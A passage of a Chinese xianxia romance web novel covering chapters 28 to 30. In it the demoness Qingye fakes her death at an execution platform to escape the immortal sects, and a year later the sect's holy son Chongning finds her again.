元旦已至,瑞雪兆丰年,明年大约人间会有好收成。 一夜之间,界外之地的荒芜被大雪所掩盖,倒显出了几分纯净之感。 只是,这宁静,温和的一切,偏偏有不长眼的人要来破坏。 青叶回头望去,床帐后,重宁仍在沉睡中。 她不愿惊扰他,召来凝霜剑,提着剑便出了门。 青叶御剑来到结界边缘,却见是几个魔物正对着那透明的屏障敲敲打打。 那些魔物见她来了也不惧,青叶收起剑,释放出周身淡紫色的魔气,径直向他们袭去。 烦人的杂碎,大约是虞九幽派来试探她的。 不自量力。 这群魔物被她打得溃散,却仍留着一口气,不怕死地上前耀武扬威。 青叶腾空而起,正要将他们彻底击溃时,一道符箓忽而朝她袭来。 上面被附着了针对魔修的咒法,突如其来,将她的魔气驱散。青叶躲闪不及,落在了地上。 不远处,几位身着青袍的修士朝她而来。 ——原来方才的魔物,不过是他们派出的诱饵。 青叶冷哼一声,拔出凝霜剑,剑气凌冽,让这群人不由得惊惶后退几步。趁此机会,她飞身向远处而去。 是远离界外之地的方向。 此时的青叶,还不愿让人打搅那隐居之地的清净。 结界外是起伏的山峦,只要将那群修士绕进去困住,他们自然而然会知难而退。 青叶自信,自己对付这几个修士,倒还不在话下。 可她没想到的是,这并非是几位修士一时兴起的入侵,而是——一场预谋已久的围攻。 她跃入山峦之中,实则落入了仙门围剿她的陷阱。 这一队人马在此地埋伏已久,只等待她的出现。 青叶立在山峰之上,向下看去,便见到许多熟悉身影。 有好些无垢宗之人。 为首的仙人拔出了剑,向她喝道:“该死的魔女,掳走圣子,竟还敢伤人,今日便是你的死期!” 许多人同青叶说过这种话。 但她至今还未死。 青叶轻笑一声,即使身前人多势众,她也并不畏惧。 只不过,她不愿在此与他们纠缠,扔下一道魔咒便转身要回界外之地。 然而这群人必然不愿轻易放过她,围攻而上,且早已准备了针对魔修的符箓和术法。 青叶一边与他们交锋,一边找机会撤离。 直到仙人阵营中忽而发出一道烟雾咒术,笼罩四周,她甩下一张符箓,得以脱身。 那张符箓,是当初江小芦留下给她的。 青叶在丘陵间奔走,一道身影追了上来,她正要还击,却听见一道熟悉的声音—— “小青叶,是我!” 竟是夏昭。 青叶也意识到,方才那道助她脱身的咒术,是夏昭放出的。 她已知晓自己是魔,却仍上前助她。 “不能往结界处去。”夏昭握住她的手,带着她向另一个方向逃去。 “他们见你出来,已派人围住结界边缘。” 夏昭将她带到一座偏僻的小木屋处,说这是她前两日设下的据点,只为了救她出来。 可二人来到此地时,早有人守在此处。 是江子弦。 男子双手抱胸,盯着她们的身影,夏昭抽出了剑,对着他,开口:“江子弦,青叶曾救过你,你忘了吗?” 宗门大比的最后时刻,若非青叶,他早已葬身火海。 江子弦轻笑一声,“我当然记得。” “所以,才帮你看着此地,不让人靠近。” 青叶惊讶于,这人此刻竟能说话了,并且,竟然并未拦截她们二人。 江子弦让开了身子,转身便要走。 他随宗门众人一齐前来界外之地清剿魔修,早已察觉到夏昭的动作。 虽痛恨她们二人,但青叶的的确确救过他,甚至后来还杀了赵如强,让他从恶咒中解脱。 她虽是魔……但江子弦仍有一线良知,不能对她动手。 夏昭忙拉着青叶躲进了小屋中。 二人微微喘息着,青叶看向身前少女,不禁发问:“你竟不怕我么?” 夏昭叹息一声,道:“你什么都不告诉我。若我早些知道……” “不过也罢,你的身份,的确是不能轻易为人所知的。” “你是我的朋友,不论是仙是魔,我怎会怕你?” 青叶垂眸,一颗冷硬的心也软化了些。 她竟也有朋友。 夏昭说,她离去之后,她才知晓那日在掌门殿内发生的事情。她本是要离开宗门的,但实在放心不下青叶,便仍待在无垢宗,终于找到了这次机会,要出来帮她。 夏昭将她安顿在此处,警惕地看向门口。 但青叶其实知晓,她们隐藏不了多久。 这次无垢宗几乎是下定了决心,要将重宁带走,将她诛杀。 透明玻璃罩中的平静岁月,终究不得不被打破。 门外传来响动声,夏昭出门应对,可来人认出她,知晓她从前在宗门时与青叶交好,断定她窝藏包庇魔修,让她速速将青叶交出。 夏昭当然不肯,可人多势众,她即使一再坚持抵抗,也无法完全挡下这些人。 青叶闭了闭眼,走出了屋子。 “放开她。”她冷声道,“你们要找的魔女就在这里。” 一行人见她自投罗网,很是得意,立即将青叶扣押下,“带走!” 夏昭还想上前阻拦,青叶却朝她摇了摇头。 她决不会葬身此地,但夏昭日后还要在仙界立足。 这群人找到了她后,并未像方才一样和她交锋,而是要将她带去某个地方。 青叶眸光一转,想起先前洄夜曾同她说过,界外之地往西走的山巅上,有一处上古诛魔台。 过去的仙人为示仙门威严,会将魔物带至此地诛杀。 这群人浩浩荡荡来袭,想必已惊动不少人,自然要在最威风的地方杀了她,来彰显仙界的能量。 诛魔台上,罡风猎猎,青叶披着的大氅被吹下,她一身轻薄素袍,立在山巅之上。 仙人们收到消息,已纷纷赶来,将她围困此地。 众人让出一条道来,明华仙君上前,他脸上不复曾经的慈祥,而是与那夜一般肃杀的冰冷。 他手握拂尘,指向青叶—— “魔女,今日我便让你葬身于此!” “谁敢?!” 一道凌厉声线袭来,人群再次分开,而重宁则已直接飞身穿过他们,白袍飘扬,落在青叶与明华之间。 明华见了他,恨铁不成钢地呵斥道:“重宁!你被这魔女蛊惑,怎能一错再错?” 重宁神色冰冷,却是对着他的恩师兼无垢宗掌门。 江小芦忽而从人群中挤出,他抱着一把大剑,跌跌撞撞地向他的仙君奔去。 “……仙君!”他将怀中的玉衡剑交于重宁,“我把您的剑带来了。” 玉衡被握在重宁手中,周围人群皆静默了下来。 见此剑如见无垢神君。 可如今,重宁拿着它,却是挡在一位魔女身前。 圣子大人这是……疯了么? 众人中唯有明华丝毫不惧,他盯着重宁,摇摇头,“你是当真疯了。” “你们才是疯了。”重宁握着玉衡,冷声道,“举宗门之力,便是为了欺凌这一位弱女子,不怕成为六界笑柄?” 明华还要再说,重宁却已不愿和他多谈,玉衡忽而发出一道尖利铮鸣声,周围众人抵抗不能,连同明华在内,纷纷后退数十米。 驱散了这群闲杂人等,重宁才背过身去,微微启唇,向青叶伸出手。 他不怕身后有千万人。 他只怕这人不肯同他走。 “再信我一次。”重宁低声恳求,“我会带你离开,保护你,远离一切尘嚣。” 他发丝凌乱,衣襟翩飞,显然是一路飞奔而来。 风雪落下,纯白染上了他们二人的墨发。 青叶沉默下来。 第28章 今日清晨, 重宁本还陷在昨夜的绮梦中。 他们复又喝了不少的桃花酿,以至于他清醒之时,竟感到久违的晕眩之意。 床榻上还留有少女的馨香, 可人却已然不见了。 重宁的神智瞬间清明,他穿衣下床, 四处寻人,可屋内哪还有青叶的身影? 窗外大雪纷飞, 连足印也不曾留下。 直到翻看星驰的来信,感应到界外之地结界处的异动, 他才大致猜想到发生的一切。 连外袍也没能来得及船上, 他一身单衣,御剑去寻青叶。 昨夜还被他拢在怀中的少女,此刻竟立在诛魔台之上, 与众人相对,与他相对。 重宁痛恨自己。 痛恨自己没有早些带她离开。 痛恨直到此刻, 他依然能从青叶眸中读出她的疏离。 她若下定决心要和他走, 早已握住他的手。 如同昨夜她吻上他颈侧一般。 可此时此刻,她双眸好似被蒙上一层雾气,离他那么遥远。 大雪落下, 染白二人的发丝, 积雪落在他肩上,重宁始终伸着手, 没有收回。 他在等她的答案。 青叶望着眼前的男人,叹息一声。 她想起她在界外之地找到灵界通道的那日。 她终于在黄泉之路上见到了母亲。 可却并非青叶想象中那般母女间久别重逢的场景。 母亲漂浮在空中, 望向她的目光满是哀愁。 “你还是来了。” “我本以为,我的魂魄会困在此地,直至湮灭。” 青叶小心翼翼地上前, 却只触碰到母亲冰凉的魂体。 “我走了很远的路,只想来这里再见您一面。”她说。 长久以来,青叶不明白活着的意义,她没有回忆,看不见未来,摒弃了曾经的脆弱,也不愿想起过去。 唯有想见母亲这一件事情,支撑着她走了很久。 可此刻二人相见,却仿佛隔了崇山峻岭。 青叶说了许多的话,从魔界颠覆,到在万魂窟遇虞九幽,唯独掩藏了和重宁的一切。 她不知如何开口。 青叶以为母亲会对她有所安慰,让她觉得,这一路走来是值得的。 她只是想要一点从父亲那里未曾得到过的亲情。 可母亲只是叹了口气,说:“很多事情,并非你父亲的错。” “他也无法控制自己,控制自己的人生。” 青叶微微怔住。 她没有想到,这是母亲在她倾诉完后的第一句话。 母亲定定地望着她,“虞九幽所说之事,是真的。” 青叶震惊,不由得踉跄后退一步。 她本以为虞九幽和她说的那些,不过是为了攻打仙界而搬出的借口。 可没想到…… 从母亲口中,青叶这才得知,原来,多年前,世间邪魔本已销声匿迹,可不知为何,人间忽而突发心魔之乱。 被心魔所困之人越来越多,人间陷入恐慌的乱象,仙界佛门内部为平息心魔之乱,救济天下,修习出了一种神奇的功法,用这种功法,可以将人们身上的心魔所吞噬吸纳,甚至化作自身修为。 他们试探地派出了一队人马,去往凡人聚集的区域,试验这种功法的效果。 而此法竟惊人地有效,凡人们没了心魔的烦扰,纷纷恢复正常,对仙界也更加顶礼膜拜。 佛门长老大喜,正要让这群弟子们继续去普度世人时,意外发生了。 这些吸纳吞噬了凡人心魔的佛门弟子们,竟无一例外地全部被心魔反噬,痛苦万分,失去原本的神智,渐渐化作魔身。 此事未来得及掩盖,这群化魔的弟子在人间作乱,凡人们误以为是多年前销声匿迹的邪魔再次在人间现身,再次去求助仙门。百姓在佛门前长跪不起,请求剿灭这群邪魔。 百姓们丝毫不知,这些被他们视作洪水猛兽的“邪魔”,正是不久前救了他们的修者。 仙界无法坐视不管,只好派兵去绞杀魔物。 佛门长老心痛不已,不愿看着自己曾经的弟子们被屠戮,更何况他们实则有功之人。 可在几位仙界大能商讨过后,却做出了残忍的决定——将这群被心魔反噬的弟子们尽数清除,从此,人间便会恢复从前的宁静,不再被魔物侵扰。 佛门长老一人之力,无法抗衡仙界统一的决定,自请辞去长老一职,闭关归隐,不知所踪。 而仙界与那群化魔弟子的斗争愈发激烈。 仙门本以为他们不过一小队人马,很好对付,尽数杀光便是。 可这群弟子化魔后修为竟大增,与此同时,他们也得到了仙界正在追杀他们的消息,怒火攻心之下,他们的心魔愈发膨胀。 这群人四处招兵买马,擅于激起人们内心深处最隐秘的欲望,让更多人被心魔所困,从而渐渐走入魔道,成为他们的一员。 仙界原本低估了这些弟子的实力,在意识到他们的强大后,一切已经来不及了。 他们占领了上古邪魔的栖息地,改为如今的魔界,重开锁住无数魑魅魍魉的焚月塔,让世间大乱。 于是,这群人已不再是被佛门抛弃的仙界弟子,而成了真正的魔修。 仙界生怕这群人不断壮大,也恐惧仙门要将他们赶尽杀绝的消息走漏,只好和魔界签订和平条约,自此各居一隅,互不相干。 “所以……”青叶声线颤抖,“魔修最初,其实是佛门弟子……” 母亲点头,她看向青叶,那眼神却仿佛在透过她看向别的什么,“我与你父亲,曾幼年相识,只是后来他拜入佛门,我们便了却了当年的情爱。” “直到他吸纳心魔后,入了魔道,我们才再次相逢。” “你父亲并非一直是个疯子,他曾经也是为温润如玉的君子,只是心魔的反噬,会将一个人变得面目全非。” “从前有我在,他尚能保持理智,甚至与仙界签订那道合约,也是我们二人的意思。过错既已铸下,就不要再波及更多无辜之人。” “多年来,我一直在研习如何能控制心魔的术法,并非吞噬,而是压制。让心魔存在,却并不会反噬自身。可功法未成,我便身死了。” 母亲摇了摇头,“想必我死后,他便真正疯了。” “的确如此。”青叶轻声道,“他后来的确成了个十恶不赦的疯子。” “唯有死前,请求我来寻找您。” “玉菡……”身前身躯透明的女人轻声唤出她曾经的名字,“上一辈的恩怨已经过去,我只希望,我的女儿能远离尘嚣,不再为这些事所困。” 青叶轻笑一声,“可我已经被困在其中了。” 魔界颠覆,无论是代表叛军的虞九幽,还是仙门百家,都要置她于死地。 可她做错了什么呢? 青叶始终不明白。 一声叹息传来。 身前的女人伸出手,轻点她额头。 一股清凉柔软的力量被注入她的身体。 “被封印的这么多年,我已修成了从前付出无尽心血的功法——运用此法,可压制心魔,不再为其所困所扰,也不会再走到失去神智的疯魔地步。” “我的玉菡,我已经身死,如今只能将这保命之道交给你。” 母亲冰冷的手指从她额前离去。 “和仙人在一起,是没有好结果的。”她说。 原来,母亲什么都知道。 青叶垂下了双眸。 “叛军四起,仙界如今找到了借口赶尽杀绝。你是我们的孩子,他们不会放过你。” “离开这一切纷争吧,我们的罪孽太多,可我希望你能幸福。” 母亲真的理解她吗? 青叶想。 可是,她只有和重宁在一起时,才能感受到幸福。 宁静的,安稳的。 可青叶没有再说。 母亲的话里话外都是在为父亲解释,她和自己已经分离太久,甚至青叶已经忘记了那段记忆。 母亲不懂她,也是自然的事情。 青叶没有得到她想要的,但她也不想去强求。 她已经完成了她的使命,为母亲引魂。 那道魂魄就这样飘进了灵界通道中,往地府而去了。 青叶在原地站了许久,才返回界外之地。 昨夜醉酒原本只是一时兴起,可她没想到重宁会咽下她渡过去的那口酒。 他的确是爱她的。 她想要什么他都会给。 青叶本以为可以将一切抛之脑后,将界外之地的美好日子再延续一段时间。 可没想到,这掩耳盗铃般的宁静这么快便被打破。 此时此刻,她与重宁僵持着,她看向男人向她伸出的手。 青叶想握住的。 她的一生,似浮萍般飘零,见过最多的是要害她,要杀她之人。 只有他是来救她。 雪越下越大了,雪花落在身前男人的眼睫、肩膀上,甚至连他始终没有收回的手掌上也落了浅浅积雪。 重宁衣衫单薄,衣摆染尘,神色狼狈,却满怀期待之意。 可他原本可以高坐于众人之上,接受顶礼膜拜,在叠云峰上做他高贵威严的圣子。 何苦要为了她,落得背叛宗门,欺师叛道的下场。 重宁的身后,是乌泱泱的仙门弟子,那些人都在看着他,心中会如何作想? 她身为魔尊之女,知晓了从前的旧事,仙门长老怎会放过她。 而重宁若执意带她走,只会让自己也成为众矢之的。 青叶如今已经不想让他陷入如此的境况。 可为什么,她不过是想要和一个人相爱,却如此之难。 青叶手指蜷了蜷,一时竟有些想哭。 太冷了。 最终,她轻声开口:“重宁。” 男人的目光凝视着她,期盼之意不减。 青叶却说:“拔剑。” 重宁微微怔住,似是不懂她在说什么。 青叶举起了他赠自己的凝霜剑,直愣愣地对准了他。 “拔剑,你若赢了,我便和你走。” 重宁终于明白,这是隐晦的拒绝之意。 他痛苦地摇头道:“阿叶,你明知道我永远不会伤害你。” 重宁手握着玉衡,这把剑可以对着任何人,却唯独不能是她。 青叶露出一个有些凄凉的笑容:“仙君,那我们便……就此别过。” 凝霜剑从她手中掉下,落在厚厚的积雪上,甚至没发出多少声音。 又是一阵风起,刺目的雪白色彩从重宁眼前掠过。 那单薄的少女就这样自山巅一跃而下,大氅被风吹落,她像一只落难的幼鸟,固执又坚韧地挣扎,不肯落入敌人的陷阱,也不愿接受伸来的援手。 重宁喉间一时发不出任何声音,没有丝毫犹豫,他向着青叶坠落的方向奔去。 可一道剑气顷刻袭来,似带着万钧之力,结实地落在他后背上。 明华如今动了真格,他不会允许无垢宗的圣子大人为了一个魔女牺牲自我。 那剑气带来的巨大伤痕染红了重宁的后背,无数弟子上前按住他。 “圣子大人被魔女蛊惑,如今魔女已死,将你们的大人带回宗门吧。” 明华冷静的声音在身后响起。 高高的诛魔台上,人声鼎沸,重宁无力起身,死死地盯着那少女离去的那处。 雪仍在静静落下。 第29章 一年后。 清晨的阳光照进朴素却整洁的小小茅屋中。 青叶伸了个懒腰, 从床上起身,拎着水桶去屋外的小河边洗脸。 冰凉的水覆面,清澈的河水中映照出她此时的面容, 沉静从容。 头顶树枝上垂落的桃花花苞也映在微波粼粼的水中,顺着水流晃呀晃。 已至。 青叶指尖沾了水, 一滴一滴地落在河畔泥土间,她却盯着水中那摇晃的桃花倒影出神。 仿佛看见了曾经, 她酒醉过后,某人将她背上叠云峰, 第二日她去寻他, 二人也是如此对着水中倒影。 只不过那时,水中映出的不过是枯枝残叶。 桃花只是一道法术形成的幻影而已。水波一动,自然就散了。 重宁, 此刻在做什么呢? 青叶垂下了眸,将水桶装满, 回到茅屋中。 此地毗邻一个凡人小镇, 镇上人群聚集,热闹十足,此地却位于郊外, 没人么人烟。 她已经在这里住了大半年的时光。在小屋中能享受清净, 也无人打扰,若是偶尔要采买生活物品, 便去一趟镇上。 这么多年的担惊受怕之后,青叶终于可以享受一段不被卷入任何纷扰的时光。 除了, 她其实很想某个人以外。 去年的大雪天,她与重宁在界外之地不远处的诛魔台上诀别。 青叶不愿落入仙界手中,也没有办法同重宁在众目睽睽下离开。 她不能再和他有牵连。 从前是因为不曾意识到爱这个人, 于是不能将自己置于险境。如今却是因为,已知晓自己真正爱上他,所以便不能将他拉入泥泞。 无垢宗的圣子大人,就该干干净净,端坐神坛,受众人景仰才对。 而不是和一个魔女私奔,放弃他原有的道。 青叶只能跳下悬崖,假死脱身。 再一次,推开了重宁,离开了他。 那些仙门之人,应该都已相信她死了。 那座高山之上,之所以有诛魔台的名号,是由于山下深不见底且遍布瘴气,且是曾经的魔修埋骨之地。 若是仙人落下,修为高强者还能留得一线清明,挣扎着从瘴气中走出。 而若是魔修,进入瘴气的一瞬间,便会激发出掩藏在身体内部的心魔,从此陷入深深的幻境,和自身的欲求搏斗,直到被心魔控制身躯,沦为一个行尸走肉。 再不过多久,便会被心魔吞噬,魂飞魄散,化作瘴气。 只是很可惜。 青叶已从母亲那里继承来了一个宝贵的遗产。 那是母亲离去前对她最后的祝福,让她此生不会再受到心魔的侵扰。 她也因此后知后觉地感受到那滞后的爱意。 父亲死前说的果然没错。 母亲要比他更爱她。 因而,她虽身为魔修,那片看似无边际的瘴气却并无法伤害她。 青叶离开了那座山,最初为了掩人耳目,她先找了个山洞躲起来。 毕竟,不知晓仙门那群人会不会为了赶尽杀绝,四处追踪她的行迹。 那段时间她几乎什么都没法做,整日躺在山洞中,不知该去何方,于是干脆大睡一场,去了梦中闭关。 可即使在梦中,看见的也都是叠云峰与界外之地中的时光。 重宁,重宁。 若非身怀母亲传下的功法,怕是这人会成为她的心魔吧? 只是后来,她最终还是走出了那个山洞,且将梦吟留在了那里。 青叶孑然一身,本想去很多个地方看看,却最后还是留在了一处平平无奇的荒野乡居中。 这些日子,她孤独却平和,同时吸收着母亲留给她的功法。 直到将其内化于心。 青叶在小屋中待了一会儿,见今日春光实在是好,便想着要去镇上晒晒自己快发霉的心。 她清点了一下自己要买的东西,带着清单便出发了。 小镇上本地人不多,属于一个小小的交通枢纽,大部分人群只是在此暂住,人流也在这里流转来去。 因此青叶偶尔现身,并没有人会因为她是一张陌生面孔而警觉。 她采买完东西后,便开始在镇上闲逛,最后落座于一茶馆之中,吃些茶点。 只是这家的茶点看着精致可爱,吃着却普普通通,味道比不上它的卖相。 不过价钱倒是很合适,青叶便也认了。 毕竟她如今算是以打猎为生,为了低调,生意也只能慢慢做,偶尔做,并没有积攒下多少人间的货币。 能用这样的价格吃到茶点,已经不错了。 只是,青叶也会想起曾经在叠云峰上,吃到过的漂亮糕点。 灵米制成的,芙蓉花形状的,美味的。 而更多的记忆,则是关于那夜的温暖灯光下,男人沉静的目光落在她身上,他们一同说了很多话。 青叶晃了晃脑袋,想将重宁摇出她的脑海之中。 可不远处,说书人的声音却又落在她的耳畔。 “这圣子大人,重宁仙君,自那魔女坠下诛魔台后,竟没有停止过找寻……” “不惜踏遍六界,孤行己意,也要找这么一个人,想必这魔女在他心中地位非凡。” 青叶握着茶杯的手指紧了紧,胸腔内那颗心脏也不禁重重一跳。 “据传,圣子大人和这魔女有一段情。魔女装作凡人少女藏在他身边,后又无情地将圣子掳走,对他百般折辱,最终被仙门百家逼至诛魔台上,逃无可逃,无路可退,那作恶多端的魔女只好跳下了诛魔台。” “可这圣子大人,却怎么也不信魔女死了。据无垢宗传言,他已然恨之入骨,势要要亲自逮住那曾骗了他的魔女,就地手刃,才能报这奇耻大辱!” 青叶放下了手中茶杯,自嘲地笑了笑。 她已记不得,自己那是第多少次将重宁抛下,离他而去。 从前无论如何,他都会折返来寻她,反复将她抱在怀中,告诉她他会在她身边。 可这一次,他再也找不到自己了。 再有耐心,再心怀爱意之人,也会疲倦,心生怨怼吧。 更何况,她甚至扔下了重宁赠她的凝霜剑与梦吟。 他的确该恨她。 青叶想,世上只有这一个人爱她了,可她却只能再一次辜负他。以至于让他转而生了恨。 只不过,爱还是恨,好像都没关系了。 即使恨她也好。青叶不禁想,至少他再也忘不了她。 她身为魔修的阴暗心思在慢慢滋生,就算不能相守,不能和这人在一起,但她永远会在重宁的记忆中,让他刻骨铭心,想起便会刺痛的存在。 因为,青叶也并非完全洒脱。她也会因他而痛。 那么,就一起痛吧。 说不定百年之后,他还会记得她,记得这个曾无数次抛弃他的,作恶多端的魔女。 说书人听着还要说下去,青叶不愿再待在这里,将茶点打包,离开了茶馆,准备回自己的郊外小茅屋。 因而也并未听见,说书人眉飞色舞地道:“据可靠消息,圣子大人已寻人寻至人间,不知道某日,会不会找到我们镇上来呢?” “只不过,我们这小小地盘,大约是藏不下那狡诈的魔女的,圣子大人若是前来,可要扑个空了。”- 人间三月,清风客栈。 小镇上沾染微暖春意,客栈的木门开合不断,迎来送往皆是寻常旅人,但店主人这几日却时常惴惴不安,总觉得自己店里似乎来了个了不得的大人物。 那位举手投足皆不凡的男子已在客栈内停留半月有余,每日天未亮便出门,月上中天才归,帷帽檐压得极低,玄色纱幔垂落,将面容遮得严严实实。 他不常点客栈内的酒菜,只偶尔要一壶清茶,几碟素点心,大多时候静坐窗边,仿佛仅凭天地间的清露灵气便能果腹,一股奇异的不食人间烟火的气息。 店主人偶有好奇,偷偷觑见过男子的半张侧颜,当下便惊为天人。 他们这小小村镇上,竟来了位如此貌美出尘之人,店主人不禁猜测起他的身份。 只是这男子似乎情绪不佳,周身气场笼罩着浓浓的阴郁,仿佛执念颇深一般,让人不敢靠近。 店主人一日掩盖不住好奇心,鼓起勇气询问:“不知公子是因何而留宿此地?小的在这儿生活了几十年,若是公子有什么需要帮忙的地方,尽管开口……” “不必了。”男人声线低沉。 静默片刻,他才缓缓补充,语气轻得像是叹息:“我来寻我的爱人。” 店主人一惊,没想到这看似脱俗的男子,竟也免不了受情爱所困。 他正想细问这公子的爱人姓甚名谁,容貌如何,看看能否帮上忙,男人却很快离去了。 只是一日,客栈内又来了一位公子,同样的貌美俊秀,似与先前那位男人熟识,只不过,他神色间似带着些无可奈何之情。 星驰奉宗门之命在人间办事,恰逢重宁也在,他便特意绕路前来找他。 其实,这样的会面已发生过数次,他说的也无非是些劝解的话语。 毕竟,那魔女已在众目睽睽之下自诛魔台坠落,哪还有生还的可能呢? 这一年来,星驰总觉得重宁像是变了个人一般,从前只知他爱那魔女,不惜与她久居在那荒芜的界外之地。 可如今人死后,才知这家伙竟是如此偏执。 不惜走遍六界,也要寻找那魔女的身影。 可魔修一旦身死,便会魂飞魄散,他不过是在做无用功罢了。 星驰望着立在客栈房间窗边的孤寂身影,不禁叹了口气。 “阿宁,你这又是何苦。” “掌门不曾怪罪你,已是大幸,还是早些回宗门吧。毕竟,你是无垢宗圣子,是天下人的圣子。” 所以……何苦要为了那魔女,将自己折磨至此? 重宁背对着他,身形依旧挺拔,却透着难以言喻的萧索。许久未见,他似乎又清减了许多,周身的气息也愈发沉郁。 男人静静看向窗外,目光寂然,闻言沉默良久,才开口:“你走吧。” 还是如此一意孤行。 星驰摇摇头,道:“我很快就走,你倒也不用赶我。我并非是受掌门之命来劝你回去,只是身为多年朋友的立场,看见你如今这样,实在不忍。” 他还记得一年前重宁刚被带回宗门之时,他背后受了掌门的重重一击,皮开肉绽,却不愿为自己诊疗,同时水米不进,人一日日地颓丧下去,将自己关在叠云峰上,连江小芦也见不着他的面。 掌门明华本对此事大怒,要惩处他,见他这般,也无可奈何。 星驰几次要上山探访,却没能见到人,后来询问小芦,才知晓这人已昏迷多日。小芦给药斋的医修传了信,那边派人过来后,也只叹息说是圣子大人的心病。 仙人虽修身养心,不易像魔修那般被心魔纠缠,却也会将自己困在妄念之中,着了相。 重宁这是……因一魔女而入障了。 星驰留下自己珍藏的补药便离开了,此事他也无法,只能等重宁苏醒后自己走出来。 可这人后来虽醒了,却怎么也不像走出来的模样。 他只给掌门留下一封书信,言明要入世除魔,自此不告而别,只剩他的小仙侍小芦空守着叠云峰。 明华气得吹胡子瞪眼,自然知晓这不过是借口,他就是要找那已死了的魔女。于是立即要召他回来,然而,重宁在外却的确做起了铲除魔界叛军,守护百姓之事,所到之处仙人凡人皆顶礼膜拜。 可寻人也是要寻的。 重宁这一年几乎将六界踏遍,无数人编排他与青叶的爱恨情仇,如今所传的版本,是他恨毒了那魔女,以至于不信她早已生死,势必要将其手刃,才能解心头之恨。 甚至似乎连仙门都信了,明华也不再催促重宁回去。 可星驰如今看着重宁,心中对那传言是一个字也不信。 恨? 他只看得出,这人对那女子,是爱得太深,痛得太彻,以至于连生死都不愿相信。 星驰没了办法,自知劝不了他了,便准备离去,走之前,还苦笑道:“你如今这狼狈模样,比百年前是有过之而无不及。” “那青叶就这么好?竟能让你这般念念不忘,甚至将你百年前年少时那段情都比下去了。” 重宁仍是没有回应,只是缓缓侧过身,目送他转身离去。 星驰走后,客房内再次陷入死寂,男人站在窗边,久久凝视着窗外春景。 庭院里的桃花开得正盛,粉嫩的花簇缀满枝头。 微风拂过,万物复苏,生机盎然。 可他何时能等到与相爱之人一同看花赏春? 星驰走之前的话语还在他耳畔回响。 重宁自嘲一笑,心道:是他无能。 百年前已将她丢了一回了,百年后,竟还是不能将她留住。 可……他一定会再次找到她的。 无论路途多远,无论岁月多长。 没有了她,这人间的春意再浓,于他而言,也不过是一场虚假的繁华。 他终究是又一次被留在了那场残忍的大雪里。 春意不曾造访他空洞怆然的心。 第30章 自那日镇上茶馆听闻那些沸沸扬扬的传言后, 青叶便再未踏出过那间隐匿在山间里的小茅屋。 她像是在逃避什么,将自己困在这方小小的天地中,唯有山间的清风与林间的鸟鸣, 能稍稍驱散心头的苦涩。 不过,她时而还是会去周边山上捕猎。 毕竟上次去镇上添置物件, 一通花销后,如今她剩的钱已经不多。 虽过往也有过不少风餐露宿, 颠沛流离的日子,但如今有了这小小茅屋, 青叶莫名有种自己已成一个普通凡人, 过着安稳岁月的错觉。 这念想一旦生根,便忍不住想要将茅屋打理得更像样些,添置些柴米油盐, 让这临时的居所多几分烟火气。 在人间生活,钱自然是不可少的。那日离开界外之地太匆忙, 什么也没带在身上, 芥子袋也遗落了,青叶如今可谓是一贫如洗,于是便时常上山打猎, 卖些野味与动物皮毛为生。 这种买卖大多是一次性的, 不会引人注目。而以她如今的修为,抓几只野味不过是手到擒来的事情。 这日, 青叶盘算着换些碎银,便想着进山寻一头黑熊。熊肉价高, 熊皮也能换钱,且这山中的黑熊时常下山惊扰乡邻,伤人毁田, 附近的猎人也常来捕杀。 找了一会儿,青叶很快发现黑熊出没的踪迹,她循着林间的踪迹一路凝神追踪,一道雪白的影子忽然从眼前窜过,动作敏捷。 定睛一看,才发现竟是一只小兔子,像是还没长成的幼崽模样,浑身雪白,毛茸茸的一团,在林间活泼地窜来窜去。 只不过,青叶她追踪的那头大黑熊不知为何竟对这只小兔子生出了怒意,粗重的喘息声中,巨大的熊掌猛地朝着兔子拍去,一掌就想给它拍飞。 青叶便想着,不如顺势将那兔子救下。 她不想暴露魔气,便只是凝神聚力,指尖微动,一根落在脚边的尖利树枝如箭般射出,射向那黑熊的要害。 可没成想黑熊受了惊忽而发狂,四肢击打地面,粗壮的四肢疯狂击打地面,震得周遭落叶纷飞,山体微微震颤。 青叶一时不察,脚下一滑,顺着铺满落叶的陡峭土坡滚了下去。 还好,先前的那根树枝已经刺穿了黑熊的身躯,巨兽轰然倒地,没了声息。 她拍拍身上的落叶与泥土,要起身先去寻那只小兔子。 如果没看错的话,那兔子身上带着若有似无的灵气,虽是身处人间,但日后说不定会有造化。 只是不知,方才是否被那黑熊给拍死了。 青叶在周边的灌木间转了一圈,身后骤然传来一阵沙沙的脚步声。 轻缓的,每一步都像是经过了细细斟酌,仿佛怕惊扰身前之人。 就这样一步,一步,走向她。 青叶的脊背忽而僵了。 周边会进山捕猎的猎人,她都暗中观察过,也偶尔打过照面。 没有一人,会迈着如此的步伐。 可这脚步声,却如此熟悉。 熟悉到让她心头不禁颤抖,过往的种种画面不受控制地涌上心头,几乎要将她淹没。 青叶呼吸一窒,正想逃离之时,身后那人却仿佛看穿了她的心思,即刻开口道: “不是要找兔子么?” 清冷沉静的嗓音。 曾无数次出现在她梦中。 青叶还是没有转身,她僵立在原地,指尖微微蜷缩,双脚像是灌了铅,一时间竟无法迈步向前。 千言万语堵在喉咙口,却一个字也说不出来。 男人的脚步声并未停歇,他缓缓走近,最终停在了她的身前。 重宁一袭人间装束,身着月白色长袍,仍是那般清隽雅致,他怀中抱着一团雪白的毛茸茸的生物,正是青叶方才在寻找的小兔。他素手微松,小兔子便蹦跶到地面上,又亲昵地向青叶扑去。 果真是只有灵性的兔子,还知道刚刚是谁救了它。 小兔子埋在她怀中,青叶衣袖微微垂落,露出方才滚下山坡时擦伤的手臂,几道血痕赫然印在白皙的肌肤上。 刚刚从山坡上滚了下去,她还是没释出魔气,只觉得受点小伤倒也无所谓。 落在此时的重宁眼中,他却眸色微深,下意识地上前一步。 青叶像是被他的动作惊扰,忽然回过神来,身体比意识更快地后退了一步。 那伸出的手几乎要触碰到她的手臂,便只能在半空中停住了。 重宁望着她,神色复杂,仿佛二人之间这短短的距离,于他而言相隔重山万岭。 他的目光落在青叶身上,承载了太多的东西,带着灼烫般的温度。青叶却无法与这人对视,她只能垂下眼眸,仿佛在逃避此刻的相见。 ——他竟真的寻来了。 这个念头在脑海中反复盘旋,让她心头五味杂陈。 空气仿佛凝滞了许久,久到青叶几乎要以为时间静止。最终,还是重宁先开了口,声音带着一丝不易察觉的喟叹: “好久不见,阿叶。”- 青叶还是将重宁带回了家,她的小茅屋。 她实在找不到拒绝的理由。是她当年不告而别,亲手斩断了二人之间的羁绊,甚至在离开界外之地的前夜,借着酒意掠夺了他的清白,将圣子大人拖入红尘,而后又决然转身。 